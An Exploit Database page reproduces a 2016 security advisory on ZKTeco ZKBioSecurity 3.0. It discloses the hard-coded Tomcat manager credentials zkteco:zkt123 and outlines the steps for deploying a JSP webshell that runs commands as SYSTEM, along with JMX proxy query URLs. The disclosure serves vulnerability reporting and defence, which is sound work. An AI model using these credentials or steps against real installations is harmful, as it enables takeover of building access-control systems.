

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

ZKTeco ZKBioSecurity 3.0 - Hard-Coded Credentials SYSTEM Remote Code Execution

EDB-ID:

40324

CVE:

N/A

EDB Verified: ✘

Author:

[LIQUIDWORM](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[JSP](#)

Date:

2016-08-31

Vulnerable App:





ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution

Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,Ltd

Product web page: <http://www.zkteco.com>

Affected version: 3.0.1.0_R_230

Platform: 3.0.1.0_R_230

Personnel: 1.0.1.0_R_1916

Access: 6.0.1.0_R_1757

Elevator: 2.0.1.0_R_777

Visitor: 2.0.1.0_R_877

Video:2.0.1.0_R_489

Adms: 1.0.1.0_R_197

Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security platform developed by ZKTeco. It contains four integrated modules: access control, video linkage, elevator control and visitor management. With an optimized system architecture designed for high level biometric identification and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced solution for a whole new user experience.

Desc: The ZKBioSecurity solution suffers from a use of hard-coded credentials.

The application comes bundled with a pre-configured apache tomcat server and an

exposed 'manager' application that after authenticating with the credentials:

username: zkteco, password: zkt123, located in tomcat-users.xml file, it allows

malicious WAR archive containing a JSP application to be uploaded, thus giving

the attacker the ability to execute arbitrary code with SYSTEM privileges.

Ref: <https://www.exploit-db.com/exploits/31433/>

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Microsoft Windows 7 Professional SP1 (EN)

Apache-Coyote/1.1

Apache Tomcat/7.0.56

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2016-5362

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5362.php>

18.07.2016

--

Contents of tomcat-users.xml:

C:\Program Files (x86)\BioSecurity\MainResource\tomcat\conf\tomcat-users.xml:

```
<?xml version='1.0' encoding='utf-8'?>
```

```
...
```

```
...
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

...
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user password="zkt123" roles="manager-gui,manager-script,manager-
jmx,manager-status" username="zkteco"/>
</tomcat-users>

```

Open Manager application and login:

http://127.0.0.1:8088/manager (zkteco:zkt123)

Deploy JSP webshell, issue command:

- Request: whoami
- Response: nt authority\system

call the findConnectors() method of the Service use:

http://127.0.0.1:8088/manager/jmxproxy/?
invoke=Catalina%3Atype%3DService&op=findConnectors&ps=

Response:

OK - Operation findConnectors returned:
Connector[HTTP/1.1-8088]
Connector[AJP/1.3-8019]

List of all loaded servlets:

http://127.0.0.1:8088/manager/jmxproxy/?j2eeType=Servlet

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.